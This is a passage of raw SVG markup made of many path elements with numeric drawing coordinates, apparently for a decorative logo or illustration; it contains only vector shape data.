d="M150.37,85.38a.81.81,0,1,0,.9.8.86.86,0,0,0-.9-.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.18,87.21a.8.8,0,1,0-.9-.79.85.85,0,0,0,.9.79Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.91,55.35a5.64,5.64,0,0,0-.67-6c-.33-.34-.09-1.11-.71-1.21-.86,2-.1,4.29.86,6.07.09.39,0,1.06.52,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.27,55.16c.23,0,.19.43.43.19a8.41,8.41,0,0,1,0-3.8,3.45,3.45,0,0,0-1.44-2.36.35.35,0,0,0-.47.09c.47,1.88-.39,4.53,1.48,5.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M234.74,53c.38-.24.9-.77.62-1.3a1.25,1.25,0,0,0-1.24-.48,1.1,1.1,0,0,0-.58,1.25,1.22,1.22,0,0,0,1.2.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.15,54.87a1.39,1.39,0,0,0,.62-1.06c-.14-.38-.47-.48-.8-.62a1.09,1.09,0,0,0-.92.43.88.88,0,0,0,.19,1c.19.24.63.24.91.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.94,55.84a1.09,1.09,0,0,0,1.29-.44,1.13,1.13,0,0,0,0-.77,1.56,1.56,0,0,0-1-.48,1.5,1.5,0,0,0-.82.87,1.33,1.33,0,0,0,.54.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.54,56.12c.43.15.76-.24,1-.48.05-.29.34-.77,0-1a1.16,1.16,0,0,0-.91-.24,1.06,1.06,0,0,0-.67,1.11c.1.33.38.33.62.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,56.7c.62-.09.57-.77.57-1.3a1.3,1.3,0,0,0-.95-.53,1.13,1.13,0,0,0-.72,1.15.9.9,0,0,0,1.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.37,56.65c.29-.24.76-.53.62-1a.89.89,0,0,0-1.39-.43c-.09.29-.52.58-.19.91a1,1,0,0,0,1,.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.59,56.7a1,1,0,0,0,.53-.91c-.19-.34-.53-.83-1.05-.63a.8.8,0,0,0-.43,1.1.84.84,0,0,0,1,.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.85,62.2c.68-.63.34-1.83.53-2.75a10.05,10.05,0,0,0-1-3.47c-.14-.24-.14-.72-.52-.58-.28,1.64-1.05,3.62-.19,5.3.43.44.48,1.26,1.14,1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M112.68,55.93a1.2,1.2,0,0,0-.63,1.16,1.13,1.13,0,0,0,1.2.67c.33-.33.76-.63.62-1.2a1.22,1.22,0,0,0-1.19-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227.23,62.58A7,7,0,0,0,227,58a1.88,1.88,0,0,1-.77-1.44c-.14-.29-.33-.58-.67-.34a6.48,6.48,0,0,0-.58,2.75,18.8,18.8,0,0,0,2,3.9l.29-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.72,56.51a1,1,0,0,0-.52,1.16.86.86,0,0,0,1.1.57,1.2,1.2,0,0,0,.71-1.15c-.23-.38-.76-.87-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.45,59.5a1,1,0,0,0,.72-.92c-.1-.48-.53-.67-1-.92-.29.1-.62.1-.77.39a1.18,1.18,0,0,0,0,1.11c.34.15.63.63,1,.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.64,58.73c.25.34.53.77,1.1.57.2-.23.73-.47.53-1s-.53-.82-1.1-.67c-.33.28-.62.57-.53,1.06Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.26,60.08c.09-.63,1.05-1.25,1.1-1.89a7.1,7.1,0,0,0-3.88,2.51c-.53.87-1.39,1.74-1.29,2.7a2.28,2.28,0,0,0,1.1-.62,4.89,4.89,0,0,0,3-2.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.84,63a.4.4,0,0,0,.33-.49,17.45,17.45,0,0,1-2-2.26c-.62-.82-1.53-1-2.34-1.64-.34.05-1-.38-1.1.15,1.14,1.69,2.72,4.09,5.07,4.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,66.49c.53.33,1.1-.2,1.63-.39a6.19,6.19,0,0,0,3-5.21h-.39a24.47,24.47,0,0,0-4.21,5.6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225,63.69a1.18,1.18,0,0,0,.81-1.4c-.24-.23-.38-.48-.67-.58a.75.75,0,0,0-.57.15,1,1,0,0,0-.68,1.06c.25.38.58.82,1.11.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,65a28.49,28.49,0,0,0-2.59-2.26,8.74,8.74,0,0,0-2.92-.63c-.33.15-1-.05-1,.48,1.67.48,2.77,1.88,4.4,2.46.71,0,1.49.39,2.11-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,64.7a1.06,1.06,0,0,0,.72-1.1c-.1-.44-.57-.49-1-.59-.38.2-.86.59-.67,1.11s.53.44.91.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M122.29,64.85c.29.38.82.14,1.15-.15a1,1,0,0,0-.19-1.1c-.39-.39-1-.1-1.29.24s.05.72.33,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225.31,64.46a.91.91,0,0,0-.71.73c0,.63.62.72,1.1.86.38-.19.81-.57.61-1.11a.94.94,0,0,0-1-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.47,66.1c.14-.2.29-.24.48-.38.38-.24.05-.63-.1-.87s-.48-.44-.81-.34-.82.48-.72,1a.92.92,0,0,0,1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.57,65.43a1.81,1.81,0,0,0,.38.62.94.94,0,0,0,1.29-.62,1.16,1.16,0,0,0-1.15-.83.89.89,0,0,0-.52.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.5,66.49c.24.33.57.72,1,.67a1.54,1.54,0,0,0,.82-.92,1.09,1.09,0,0,0-1.3-.72,1,1,0,0,0-.57,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123,66.15c-.09.48.24.67.53.92.47.28.91-.15,1.19-.39a.75.75,0,0,0-.14-.77c-.29-.19-.48-.43-.86-.34a2.28,2.28,0,0,0-.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.21,65.81a1.66,1.66,0,0,0-.9.63c0,.24-.1.63.19.72a.94.94,0,0,0,1.05.24,1.27,1.27,0,0,0,.62-.91,1.75,1.75,0,0,0-1-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238.33,67.79a1.2,1.2,0,0,0,.9-.87.83.83,0,0,0-1.19-.48.85.85,0,0,0-.43.77c-.1.43.43.53.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.79,67c-.29.19-.72.09-.82.53a.84.84,0,0,0,.24,1c.24.19.58.43.91.24a.94.94,0,0,0,.58-1.15,1.18,1.18,0,0,0-.91-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.66,68.85c.09-.29.53-.44.38-.82-.24-.58-1.24-1-1.63-.24-.33.43,0,.86.39,1.15a.79.79,0,0,0,.86-.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.25,67.4a1,1,0,0,0-.53.92.84.84,0,0,0,1,.58c.29-.29.72-.63.67-1.11a1,1,0,0,0-1.1-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,68.56a.87.87,0,0,0,.19,1,1.35,1.35,0,0,0,1.15.19c.48-.28.42-.77.53-1.2-.29-.15-.39-.39-.72-.58a1.11,1.11,0,0,0-1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.39,69.24c0,.23-.19.71.14.91a1,1,0,0,0,1,.1c.15-.2.58-.3.39-.68-.2-.58-1.06-1.16-1.49-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.51,69.67a13.78,13.78,0,0,1,1.92,1.06,3.67,3.67,0,0,0,3.88.19c.05-.1.14-.39-.05-.43-1.53,0-2.64-1.35-4-1.55-.63.15-1.48.1-1.73.73Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.74,69.76a.86.86,0,0,0,.34,1.21c.23.09.62.19.81-.1s.38-.43.28-.82a.86.86,0,0,0-1.43-.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M120.9,71.4c.39-.24.68-.62.49-1.06-.34-.53-1.2-.91-1.63-.19-.43.38,0,.77.24,1.11.28,0,.57.33.9.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M170.56,79.2c.64,1.7,2.64.87,4,1a4.3,4.3,0,0,0,1.81-1.56c.05-.78.28-1.78-.17-2.43a7.08,7.08,0,0,1-1-2.69c-.22-1.29,1.37-.19,1.46-1.15-.45-.5-1.14-1.42-1.95-.78a1.58,1.58,0,0,0-.55,1.6c.18,1.24.73,2.39.91,3.53a4.3,4.3,0,0,1-.68-.6c-1-1.23-2.72-.86-3.82-2-1.31.09.87,1.47-.68,1.74-.05.32.32.5.32.82-.14.14-.32.14-.46.23a6.81,6.81,0,0,0,.77,2.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.07,73.09c.29-.24.67-.53.52-1a1,1,0,0,0-.9-.48c-.29.24-.63.48-.48,1,.19.24.43.72.86.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M154.3,72.75c-.52,1.88-1.48,4.39-.19,6.17.53,0,.39-.58.43-1a6.56,6.56,0,0,0,.57-5.39c-.14-.48-.71-.29-.81.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M196.17,78a5.38,5.38,0,0,0-.1-4.49c-.19-.38-.14-1.25-.81-1.1a11.76,11.76,0,0,1-.57,2.55,10.78,10.78,0,0,0,1.1,3.42l.38-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123.44,75.93a5.7,5.7,0,0,0,4.26-.82c.53-.38,1.34-.53,1.63-1.11-.1-.23-.34-.14-.43-.33a5.2,5.2,0,0,0-5.46,2.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113,80.46c-1-1.73-1.53-3.47-3.3-4.72-.19,0-.48,0-.48.19a5.3,5.3,0,0,0,2.92,5c.53-.1.91.48,1.29.19.2-.39-.28-.44-.43-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M193.78,78.34c.38-.14.48-.62.43-1.11a.85.85,0,0,0-1.29-.24c-.1.24-.38.44-.24.77a.86.86,0,0,0,1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.1,83.31c2.69-.78,4.31-3.23,5.84-5.4a1.58,1.58,0,0,0-1.29.19c-2.53.63-3.4,3.32-5,5.06.09.24.28.15.47.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.84,80.94c.43,0,.24-.48.48-.67-.1-.49-.48-.63-.86-.82a.86.86,0,0,0-.63,1.06.78.78,0,0,0,1,.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115,80.07a5.19,5.19,0,0,0,5.5,1.4c.24-.09.72-.09.58-.53-1.63-1.2-3.93-.82-5.89-1.3-.19,0-.19.24-.19.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M108.23,80.85a1.48,1.48,0,0,0,.62.62A1.05,1.05,0,0,0,110,81a1.29,1.29,0,0,0-.09-.72,1.41,1.41,0,0,0-.91-.39,1.15,1.15,0,0,0-.81.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.54,80.17a.7.7,0,0,0-.34.92,1,1,0,0,0,1,.38c.29-.19.67-.48.57-.91s-.81-.48-1.24-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238,80.85c-.09.33.2.53.24.77a1,1,0,0,0,.91.14c.33-.29.76-.53.62-1a5.57,5.57,0,0,0-.67-.48,1,1,0,0,0-1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M241.87,82a.67.67,0,0,0,.86-.29c.24-.34.47-.68.19-1.11-.39,0-.58-.48-1-.29-.29.14-.72.43-.72.82s.43.58.72.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.2,83c.29.1.53-.1.78-.2.09-.28.38-.48.33-.81a.92.92,0,0,0-1.82.24,1.45,1.45,0,0,0,.71.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M204.5,82.05c-.15.44.19.72.48,1,.48.24.86-.1,1.14-.49a1.31,1.31,0,0,0-.05-.62.93.93,0,0,0-1.57.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.91,81.76c-.43.24-.38.68-.38,1.11.24.19.38.58.81.53s.57-.38.67-.72a.87.87,0,0,0-1.1-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.65,83.16a1.13,1.13,0,0,0,1.29.68,1,1,0,0,0,.48-1.07c-.24-.24-.48-.72-.91-.72a1.34,1.34,0,0,0-.86,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.71,83.84a1,1,0,0,0,.52-1.16,1.09,1.09,0,0,0-1-.53c-.57.1-.61.62-.86,1,.25.39.72.87,1.3.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M110.43,83.6c.09-.25.38-.39.24-.73a.9.9,0,0,0-.92-.68c-.33.2-.66.44-.62.92s.44.44.62.68c.29.09.44-.19.68-.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.36,82.77c-.1.25-.19.68,0,.87s.53.49.91.39a1.43,1.43,0,0,0,.81-.77,1,1,0,0,0-1.77-.49Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239,83.16c-.33.58.15.92.58,1.11a1.25,1.25,0,0,0,1.15-.82.92.92,0,0,0-1.15-.72c-.29,0-.39.24-.58.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.4,84.51a2.19,2.19,0,0,0,.92.39c.39-.29,1-.49.72-1.11a1.16,1.16,0,0,0-1-.53,1.12,1.12,0,0,0-.68,1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M203.4,84.41a.81.81,0,0,0,.47.92c.44.29.82-.19,1.11-.39,0-.14.14-.48-.1-.57a.89.89,0,0,0-1.48,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M206.7,84.22a1.13,1.13,0,0,0-.63.39.79.79,0,0,0,.05.72c.34.1.72.48,1.06.15a.68.68,0,0,0,.38-.78c-.14-.38-.53-.38-.86-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.26,85.67c0-.29.39-.63.1-.92a1.69,1.69,0,0,0-1-.48c-.38,0-.38.34-.67.43-.09.39-.14,1,.34,1.21a.93.93,0,0,0,1.19-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,85.71c.33-.09.81-.29.72-.77-.34-.38-.76-.86-1.44-.57-.1.24-.38.43-.38.72.24.38.53.82,1.1.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.52,84.37c-.33.09-.48.38-.76.62,0,.29,0,.58.23.72a1,1,0,0,0,1.06.2c.19-.24.72-.49.52-1a1.25,1.25,0,0,0-1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.16,85.52l-.15-.14c-2-.1-4.16-1.69-6.22-.39-.38.25-1.1,0-1.25.63,1.92.72,4.5,1.64,6.51.43.34-.19,1.2.15,1.11-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.83,86.39A7.77,7.77,0,0,0,111,85.28l.19-.34-.14-.14a8.63,8.63,0,0,0-6.41,1.3l.19.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228,85.28c-.19-.48-.77-.53-1.1-.53-.38.15-.77.53-.63.92a1,1,0,0,0,1.25.53,1.1,1.1,0,0,0,.48-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.18,86.44c.48-.19.38-.58.58-1-.29-.43-.72-.86-1.29-.57-.25.24-.63.38-.49.91a1,1,0,0,0,1.2.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,86.63a.86.86,0,0,0,1-.14c.09-.25.38-.44.24-.78a1.11,1.11,0,0,0-1-.77,3.07,3.07,0,0,0-.77.54c-.14.52.2.86.54,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.39,86.82a1,1,0,0,0-.87-.77c-.18.1-.52.1-.61.25a.75.75,0,0,0-.2.91,1.1,1.1,0,0,0,.91.48,1,1,0,0,0,.77-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.53,89.18a7.22,7.22,0,0,0,1-2.07c0-.29.39-.43.24-.81l-.14-.1a12.52,12.52,0,0,0-4.84,4l.19.38c1.3-.34,2.59-.34,3.5-1.45Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.28,88.27c.33-.24.81-.34.72-.92a1,1,0,0,0-1.06-.62c-.28.24-.77.43-.62,1a1.09,1.09,0,0,0,1,.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M117.17,86.92A.8.8,0,0,0,116.7,88a1.26,1.26,0,0,0,1,.48c.29-.24.68-.38.73-.92-.1,0-.2-.14-.15-.24-.14-.43-.72-.48-1.15-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.43,89.72c.37-.24.81-.54.62-1.11a1.17,1.17,0,0,0-1.15-.53c-.53.09-.62.67-1.1.72-.77-.87-1.91-2-3.3-1.88-.53.39.39.72.57,1.16a6.05,6.05,0,0,0,3.45,3c.14.1.48.15.57,0a1.53,1.53,0,0,0-.67-1c0-.62.67-.09,1-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.35,88.22a.74.74,0,0,0,0-.92,1.31,1.31,0,0,0-1.1-.33,1.44,1.44,0,0,0-.71.62c-.1.39.14.63.37.87.44.05,1.16.24,1.4-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M220.81,87.3c0,.34.34.58.48.78.62,1.93,2.73,2.94,4.36,3.85.09,0,.33,0,.43-.09A6.56,6.56,0,0,0,225,89.91c-.19-.53-.57-.77-.9-1.26-.87-.67-2.06-1.59-3.31-1.35Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.11,88.65a1.08,1.08,0,0,0,1.1.39c.24-.19.62-.53.43-1-.24-.24-.48-.63-.86-.58s-1,.62-.67,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M229.38,88.85c-.29.24,0,.62.05.87.33.33.71.19,1.1.14.14-.2.52-.39.47-.68-.33-.48-1.09-1-1.62-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.25,91.07a1.15,1.15,0,0,0,.67-1.21,2.46,2.46,0,0,0-.58-.48,1.2,1.2,0,0,0-1.24.33c0,.34-.23.63,0,.92a1.27,1.27,0,0,0,1.15.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M209.81,96.51a7.14,7.14,0,0,0-6.51,1.3v.29a10.21,10.21,0,0,0,5-.72c.43-.44,1.49-.29,1.49-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.28,99.4a.91.91,0,0,0,.72-.82,1.13,1.13,0,0,0-.91-.72c-.34.24-.82.48-.62,1.06a.91.91,0,0,0,.81.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M207.22,99.88c.34.19.63.44,1.06.34a1.34,1.34,0,0,0,.71-1.11,1,1,0,0,0-1.91,0c0,.24-.09.58.14.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M218.52,99c-2.49-.2-5.36-.2-7,1.73l.25.19,2.58,0a7.8,7.8,0,0,0,4.12-1.69V99Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,99.83a.87.87,0,0,0-.38,1.11.88.88,0,0,0,1,.44.9.9,0,0,0,.63-.92c-.2-.38-.72-1-1.25-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.46,100.32c-.14.19-.42.14-.57.43a.61.61,0,0,0,.29.82.78.78,0,0,0,.91,0c.1-.24.33-.39.19-.63a1.37,1.37,0,0,0-.82-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.18,105.38c.53.29,1.29,1,1.78.43-1.11-1.45-1.49-3-3.12-3.9a6.33,6.33,0,0,1-1-.53c-.34.09-.77-.53-1,.05,1.68,1.1,1.63,3,3.3,3.95Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,109.52v-.09l0,0c-.53-.67-1.68,0-2.31-.53a36.16,36.16,0,0,1-9.42-2.36c.05-.14.24-.1.39-.1a1.24,1.24,0,0,0,.76-1.2,1,1,0,0,0-1.82.29,1.18,1.18,0,0,0,.72.91c-.1.1-.29,0-.43,0-1.48-.67-2.92-1.3-4.36-2-.53-.1-1-.53-1.48-.63-1.1-.53-2.2-1.06-3.3-1.49-3.07-1.59-6.46-2.46-9.72-3.62-.71-.19-1.39-.39-2.05-.58-1.2-.33-2.4-.62-3.59-1-4.07-1-9.53-1.11-13.07,1.11-.57-.19-.9.72-1.19.14,1-2.65,3.92-3.51,6.55-3.61,19.19-.19,37.18-.34,56.08-.63a6.07,6.07,0,0,0,5.51-2.74,4.87,4.87,0,0,0,.33-4.44,3.83,3.83,0,0,0-3.59-2,3.28,3.28,0,0,0-2.68,2,2.44,2.44,0,0,0,.92,2.65.72.72,0,0,0,.95-.24c.24-.62-.44-.62-.53-1.11a1.59,1.59,0,0,1,.53-1.68c.48-.48,1.29-.25,1.86-.25a3.41,3.41,0,0,1,1.44,1.4,3.88,3.88,0,0,1,0,2.56,4.27,4.27,0,0,1-3,2.41c-4,.58-47.56.38-47.56.38-5.12.49-11-1-15.36,1.74-2,1-3,3.18-3.54,5.16a34.25,34.25,0,0,0-3.73,3.8l-.15-.14c.24-1.16.77-2.17,1-3.33.71-1,.71-2.26,1.24-3.32,1.82-2.94,3.54-5.93,6.37-8,1.2-1.6,3.3-1.31,5.11-1.31a12.71,12.71,0,0,0,6.66,1,.42.42,0,0,0,.14-.34c-.67-.63-1.77-.87-2.53-1.49-1.92-.92-3.74.29-5.74.14-.1-.1-.2-.14-.15-.29a28.06,28.06,0,0,1,5.94-3.18,40.35,40.35,0,0,1,5.21-2.07c.72,0,1.39-.63,2.06-.19-1.43,2.79-2.73,5.78-4.93,8.14-.72,0-1.15.77-1.87.82-.38.53-1.15.15-1.63.34-1.48.63-3.58.24-4.59,1.64a.71.71,0,0,0,.38.24c2.92,0,6.18.24,9.29.1a1.16,1.16,0,0,0,.76-.92c-.43-.82.15-1.54.53-2.17.24-1.16,1-1.88,1.34-3,1-2,2.15-3.9,3.25-5.88h0c.1,0,.19.19.39.15,2.15-.73,4.88,0,7.32-.1l.33.29h0a34.26,34.26,0,0,1-.43,7c-.81,2.79-4,2.51-6.32,3.13-.57.39-1.67.19-1.67,1.16,2.78.58,6,.24,9,.19.47-.19.57-.63.81-1.06.1-.63.72-1.16.53-1.83-.53-.67-.05-1.74-.2-2.65a1.44,1.44,0,0,0,0-.92c.39-1.39.29-3.08.58-4.43h0c.86.09,1.24,1.11,2.15,1.15.48-.67-.53-1-.77-1.39a5.24,5.24,0,0,1,3.21.48l-.47.53c-.29.53.14.92.57,1.11s.57-.15.82-.24c.61-.44-.06-.87.14-1.26a45.78,45.78,0,0,1,10.19,2.9c.9.28,1.76,1,2.78.91a13,13,0,0,0-3.64-1.93c-.82-.48-2-.53-2.59-1.2.15-.24.48-.15.63-.34a7.12,7.12,0,0,0,4.16-2.7c.09-.29.62-.19.57-.58-.43-.48-1.15.15-1.72.1-2,.39-2.87,2.75-4.88,3.18-2.44-.58-4.93-1.15-7.37-1.78a14.37,14.37,0,0,1-3.59-.78,24.72,24.72,0,0,1,.33-2.64,1.77,1.77,0,0,0,.2-1,2.38,2.38,0,0,1,.47-.48l1-.46a12.07,12.07,0,0,1,3.84,0,10.33,10.33,0,0,0,2.39.53,1.76,1.76,0,0,1,1.2-.24c1.53-.82.52-2.6.62-4h0a30.72,30.72,0,0,0,3.62-3.95.91.91,0,0,0-.52-.91.82.82,0,0,0-1,.19c-.57.44,0,1,0,1.49a8,8,0,0,1-2.2,1.89,1.9,1.9,0,0,0-.41.15l-.12-.3a6.4,6.4,0,0,1-.38-1c-.28-.34-.48-1-.76-1.3-.82-2.12-2.39-3.33-3.74-5-2.44-3.17-6.26-5-10.09-6.21s-7.61.38-11,1.59a2.76,2.76,0,0,1-1.87-2,9.61,9.61,0,0,1,.92-5.12c.14-1.2.95-2.12,1.29-3.22a34.33,34.33,0,0,0,2-8.29c.1-1.78-1.24-3-2.58-3.81a2.63,2.63,0,0,0-2.64.53,7,7,0,0,1-3.1,2.8c-.1.82.91.28,1.24.57,1,.2,2.24-.14,3.11.53.09,1.93-1,3.52-2,5a38.69,38.69,0,0,0-4.36,7.51l0,0v-2.5h0v0H167.13c-1.15-.39-2-1.59-3.31-1.59-2.68-1.06-4.44,1.73-7.17,1.4-.34.19-.24.53-.43.77s-.38,0-.53-.05c-.14-1.15-.53-2.22-.67-3.32-.28-.48-.14-1.16-.38-1.64-1.53-4.19,3.73-1,4.78-3.47.91-2.12-1.77-2.36-2.58-3.85v-.63c-.77-.77-1.58-1-2.06-2a7,7,0,0,0,.14-3.71c0-.29-.23-.67-.67-.53-.9,1.25-1.57,2.27-2.44,3.47A26.61,26.61,0,0,0,149,32.75c-.72-.1-1.39-.82-2.2-.53a.66.66,0,0,0,.14.72,7,7,0,0,0,2.34,4.73l.15.72c-.86,2-.62,4.24-.86,6.36a35.38,35.38,0,0,1-10.38,14.61c-2.73,3.08-6,6.07-6.41,10.31-.15.67.09,1.49-.44,2a16.16,16.16,0,0,1-4.44-2.36c-2.2-1.54-5.36-1.35-6.8-4.14-.57-1.11.15-2.22.67-3,1.62-1.54,1.39-4.29.53-6.17-.19,0-.24.2-.38.24-.15,2.85-2.4,4.82-1.54,8,.2.92.67,1.5.91,2.37a7.1,7.1,0,0,1-1.1-.25,11.92,11.92,0,0,0-3.2-.42c-2.2,1-5.22-.25-7,1.78-.29,0-.67.09-.57.53,1,0,2,.28,3.1.24,1.68.28,2.78-1.12,3.93-1.74h.29c.48-.48,1.29-.19,1.91-.29,3,.34,5.36,1.79,7.85,3.28v.19c-1,.44-2.06.72-3,1.25a6.57,6.57,0,0,0-2.68,3.23c-.76,1.21.24,2.27.72,3.28,0,.48.1,1.06.53,1.25,1.53-1.64.09-3.66.33-5.54.39-1.44,1.73-2.12,3.11-2.5,2.73-1.16,4.7,1.06,6.89,2.31,0,2.22.24,4.34-.24,6.5a5.68,5.68,0,0,1-2.24.34c-3.79.29-6.75,2.36-10.15,3.52-1.53.53-3.35.48-4.88,1.06,1.2.34,2.44-.1,3.69-.14,4.68-.68,8.27-4.29,13.34-3.67l.1.15A11.41,11.41,0,0,1,128.75,84c-.14-.53-.19-1-.67-1.25a.89.89,0,0,0-1.1.38.69.69,0,0,0,0,.73,1.56,1.56,0,0,0,1.06.67c-.1.43-.63.63-.91,1-1.34,2.27-4.07,1.35-5.65,2.94-.24.34-1.1.53-.72,1.06a7.17,7.17,0,0,0,4.93-1.25c1.77-2,3.64-3.86,5.4-5.74A5.73,5.73,0,0,1,130,86.92a5.19,5.19,0,0,0-1.29-.72,1.17,1.17,0,0,0-.86,1,2.83,2.83,0,0,0,.72,1c-1.63,1.15-3.68,1.25-5.55,1.78a95.35,95.35,0,0,1-10.43.77c-1.68-.1-3.59.48-5.17,0-1.82.33-3.78-.24-5.26.77-.2.24,0,.48,0,.72,2.2,1.45,5.22.29,7.71.73H128.8a8.46,8.46,0,0,0,3.88-.73c2.44-1.39,3.77-3.9,5-6.36a10.12,10.12,0,0,0,1-2.89A4.14,4.14,0,0,1,142.29,80a22,22,0,0,1-.81,7.32c-.29,1.55-1.29,3-.67,4.68.14.77,1,.77,1.58.87,5.79-.1,11.58-.34,17.7.09a14.4,14.4,0,0,0,3.25.48c.1-.14.43-.19.29-.48a1.8,1.8,0,0,0-1.15-1.34c-.09-.29-.52-.2-.66-.39-3.07-1.73-6.76-.82-10.34-.77-1.87.19-3.73.53-5.31-.53-.72-.87-.19-3.62-.19-3.62a35.24,35.24,0,0,1,1.5-5.25,34.64,34.64,0,0,1,5.05,2.6,31.92,31.92,0,0,1,4.78,2.56c6.51,3.61,10.82,9.59,13.74,16.24,0,.53.52,1.11.19,1.64-1-1.55-2.44-2.42-3.63-3.67A7.06,7.06,0,0,0,164,95.06c-.72-1-2.25-1.15-3.45-1.49l-17.41-.1c-14.17-.19-27.09.44-41.15.19-2-.19-4.36-.86-4.93-2.93a3.22,3.22,0,0,1,0-2.65,2.92,2.92,0,0,1,2.44-1.31,2.56,2.56,0,0,1,1.63,1.36c0,.62-.53,1.2-.77,1.73,0,.19.24.58.57.43a2.24,2.24,0,0,0,1.25-1.54c0-.34.19-.82-.15-1.06a3.17,3.17,0,0,0-2.24-2,4,4,0,0,0-3.26,1.1c-1.15,1-1.1,2.7-.76,4.05a6.45,6.45,0,0,0,5.16,3.86l46.56.19c4.54.24,9.67-.53,14.26.38A5.5,5.5,0,0,1,165.59,99c0,.09-.19,0-.33,0a20.77,20.77,0,0,0-13.59-2.79c-1.91-.1-3.63.63-5.36,1.11a2.77,2.77,0,0,1-2.35-.77c-1.72-1.54-4.73-1.45-6.93-.87,0,.15-.05.29.05.34,2.34-.19,3.73,1.83,5.84,2.07.47.1.86-.43,1.28,0a43.83,43.83,0,0,1-6.64,3c-.72-.14-1.11-.82-1.68-1.21-.91-1-2.58-.57-3.83-.67-.43.1-.81-.19-1.1,0a4.15,4.15,0,0,0,2.06,1.59c1.2.53,2.58,0,3.68.68a4.73,4.73,0,0,1-1,.67c-2.25.87-4.12,2.89-6.6,2.75a8.52,8.52,0,0,1-7.08-2.32,4.81,4.81,0,0,0-4.84-2.79c-.14.09-.33.09-.29.34,1.06.62,1.87,1.87,2.92,2.6.67.82,2,0,2.59.91A8.62,8.62,0,0,0,125.5,105a14.79,14.